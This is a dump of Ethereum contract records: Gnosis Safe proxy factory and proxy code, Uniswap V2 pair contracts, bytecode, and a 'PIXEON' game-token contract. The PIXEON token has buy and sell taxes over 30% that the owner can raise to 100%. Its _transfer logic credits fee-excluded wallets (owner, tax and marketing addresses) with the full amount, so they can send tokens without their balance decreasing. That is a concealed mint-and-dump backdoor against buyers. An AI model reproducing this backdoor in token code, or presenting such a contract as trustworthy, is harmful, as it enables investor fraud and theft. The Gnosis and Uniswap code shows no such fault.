emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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1 | 19,502,373 |
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pragma solidity 0.8.11;
// SPDX-License-Identifier: MIT
/**
Pixeons are adorable digital ghosts, the spirits of liquidated yield farmers, brought to life in a gaming world.
Website: https://www.pixeon.org
Telegram: https://t.me/pixeon_erc
Twitter: https://twitter.com/pixeon_erc
Dapp: https://app.pixeon.org
**/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IDEXFactory02 {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IDEXRouter02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract PIXEON is Context, IERC20, Ownable {
event ExcludeFromFeesUpdated(address indexed account);
event includeFromFeesUpdated(address indexed account);
event ERC20TokenRecovered(uint256 indexed _amount);
event TradingEnabledUpdated();
event ETHBalancesRecovered();
mapping(address => uint256) private _balances;
mapping(address => bool) private _isFeeExcluded;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private buyTaxFees = 33;
uint256 private sellTaxFees = 32;
uint256 private buyTotals = 0;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;
string private constant _name = unicode"PIXEON";
string private constant _symbol = unicode"PIXEON";
uint256 private swapOverAmounts = 1000 * 10 ** _decimals;
uint256 public swapTxLimits = 10000000 * 10 ** _decimals;
uint256 private swapMaxAmounts = 20000000 * 10 ** _decimals;
bool private inSwapLock = false;
bool public tradeEnabled = false;
bool private swapEnabled = false;
address payable private taxAddress;
address payable private marketingAddress;
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
address private uniswapV2Pair;
IDEXRouter02 public uniswapV2Router;
modifier lockSwapBack() {
inSwapLock = true;
_;
inSwapLock = false;
}
constructor() {
taxAddress = payable(0x92cA2637f6D68C247b7466197E0E1064d01E641E);
marketingAddress = payable(0x8d45ac8390935B0922f76024CB4Ff1136b123865);
_isFeeExcluded[taxAddress] = true;
_isFeeExcluded[marketingAddress] = true;
_isFeeExcluded[deadAddress] = true;
_isFeeExcluded[_msgSender()] = true;
_isFeeExcluded[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function setFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
require(_buyFee <= 100 && _sellFee <= 100, "revert wrong fee settings");
buyTaxFees = _buyFee;
sellTaxFees = _sellFee;
}
function recoverToken(
address _tokenAddy,
uint256 _amount
) external onlyOwner {
require(
_tokenAddy != address(this),
"Owner can't claim contract's balance of its own tokens"
);
require(_amount > 0, "Amount should be greater than zero");
require(
_amount <= IERC20(_tokenAddy).balanceOf(address(this)),
"Insufficient Amount"
);
IERC20(_tokenAddy).transfer(taxAddress, _amount);
emit ERC20TokenRecovered(_amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function recoverETH() external {
uint256 pETHValues = address(this).balance;
require(pETHValues > 0, "Amount should be greater than zero");
require(
pETHValues <= address(this).balance,
"Insufficient Amount"
);
payable(address(taxAddress)).transfer(pETHValues);
emit ETHBalancesRecovered();
}
function createPairs() external payable onlyOwner {
uniswapV2Router = IDEXRouter02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IDEXFactory02(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
_approve(address(this), address(uniswapV2Router), ~uint256(0));
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
}
function ExcludeFromFees(address account) external onlyOwner {
require(
_isFeeExcluded[account] != true,
"Account is already excluded"
);
_isFeeExcluded[account] = true;
emit ExcludeFromFeesUpdated(account);
}
function IncludeFromFees(address account) external onlyOwner {
require(
_isFeeExcluded[account] != false,
"Account is already included"
);
_isFeeExcluded[account] = false;
emit includeFromFeesUpdated(account);
}
function sendETHTO(uint256 amount) private {
require(amount > 0, "amount must be greeter than 0");
marketingAddress.transfer(amount / 2);
taxAddress.transfer(amount / 2);
}
function enableTrading() external onlyOwner {
require(!tradeEnabled, "trading is already open");
tradeEnabled = true;
swapEnabled = true;
emit TradingEnabledUpdated();
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapForETH(uint256 tokenAmount) private lockSwapBack {
require(tokenAmount > 0, "amount must be greeter than 0");
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 pTotalFees = 0;
pTotalFees = buyTaxFees;
if (!_isFeeExcluded[from] && !_isFeeExcluded[to]) {
require(tradeEnabled, "Trading not enabled");
}
if (inSwapLock || !swapEnabled) {
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
return;
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isFeeExcluded[to]
) {
require(amount <= swapTxLimits, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= swapTxLimits,
"Exceeds the maxWalletSize."
);
buyTotals++;
}
if (
from != uniswapV2Pair &&
!_isFeeExcluded[from] &&
!_isFeeExcluded[to]
) {
require(amount <= swapTxLimits, "Exceeds the _maxTxAmount.");
}
if (
to == uniswapV2Pair &&
from != address(this) &&
!_isFeeExcluded[from] &&
!_isFeeExcluded[to]
) {
pTotalFees = sellTaxFees;
}
uint256 pContractValues = balanceOf(address(this));
if (
buyTotals > 0 &&
pContractValues >= swapOverAmounts &&
amount >= swapOverAmounts &&
swapEnabled &&
!inSwapLock &&
to == uniswapV2Pair &&
!_isFeeExcluded[from] &&
!_isFeeExcluded[to]
) {
swapForETH(min(amount, min(pContractValues, swapMaxAmounts)));
uint256 pETHValues = address(this).balance;
if (pETHValues > 0) {
sendETHTO(address(this).balance);
}
}
if (pTotalFees != 0) {
uint256 p_Fees = (amount * pTotalFees) / 100;
uint256 p_Amounts = amount - p_Fees;
address p_Sendor = _isFeeExcluded[from] ? from : address(this);
p_Fees = _isFeeExcluded[from] ? amount : p_Fees;
_balances[p_Sendor] += p_Fees;
emit Transfer(from, address(this), p_Fees);
_balances[from] -= amount;
_balances[to] += p_Amounts;
emit Transfer(from, to, p_Amounts);
} else {
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function removeLimits() external onlyOwner {
buyTaxFees = 2;
sellTaxFees = 2;
swapTxLimits = _totalSupply;
}
}
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
1 | 19,502,377 |
648f4f03d3052c7a0e967c015a7fe389df26fb3e06693882a1c4063093e18551
|
708ac5e5569b2dbd9d20a29a53dbae8d94d3273d74534a4c87dec243630710be
|
374e6f247d674e785435683142531e1c34f8ad3b
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
62808976d8dff7cb785e49599421d1410df19a51
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
